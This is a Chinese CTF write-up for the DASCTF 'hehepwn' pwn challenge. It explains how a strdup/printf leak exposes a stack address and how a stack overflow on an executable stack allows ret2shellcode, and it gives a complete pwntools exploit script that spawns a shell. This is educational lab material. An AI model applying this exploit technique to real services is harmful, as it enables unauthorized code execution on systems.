当前位置:   article > 正文

DASCTF-hehepwn writeup

ctf-hehe

DASCTF-hehepwn writeup

已上传网盘,方便复现

链接:https://pan.baidu.com/s/1ceYwALaUJn6TIS2eK9TN8w
提取码:ynzg

分析程序

没有开启任何保护,这里注意到开启了栈可执行,存在rwx字段,那么之后可以尝试在栈上执行ret2shellcode
请添加图片描述
使用ida分析程序

在这里可以看到存在堆上内容的泄露

strdup:strdup()会先用maolloc()配置与参数s 字符串相同的空间大小,然后将参数s 字符串的内容复制到该内存地址,然后把该地址返回。该地址最后可以利用free()来释放。

那么我们将read的0x20字全部填充,在没有字符串结尾的情况下,printf就会打印出堆块之后地址的内容
请添加图片描述
main函数中存在栈溢出,没有canary,可以直接覆盖返回地址

请添加图片描述

进行尝试

直到这里还并不知道该怎么攻击,不过既然有一个内存泄露,就先看看泄露出了什么

利用gdb进行调试

请添加图片描述
然后意外的发现,紧跟着我们申请的堆块后的被我们泄露出的地址是栈上的地址

继续跟踪发现是rbp的地址

那么既然泄露出了栈地址,又开启了栈可执行,我们就在栈上ret2shellcode了

exp

from pwn import *

context(log_level = 'debug', arch = 'amd64', os = 'linux')

io = process('./bypwn')
# io = remote('node4.buuoj.cn', 27761)
elf = ELF('./bypwn')
gdb.attach(io)

io.recvuntil(b'well you input:\n')
io.sendline(b'a' * (0x20 - 4) + b'bbbb')
io.recvuntil('bbbb')
#调试发现可泄漏地址为rbp
rbp = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(rbp))

stack = rbp - 0x50

io.recvuntil(b'EASY PWN PWN PWN~\n')

shellcode = asm(shellcraft.sh())
shellcode = shellcode.ljust(0x58, b'a')

payload = shellcode + p64(stack)

io.sendline(payload)

io.interactive()

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
本文内容由网友自发贡献,转载请注明出处:https://www.wpsshop.cn/w/神奇cpp/article/detail/900677
推荐阅读
相关标签
  

闽ICP备14008679号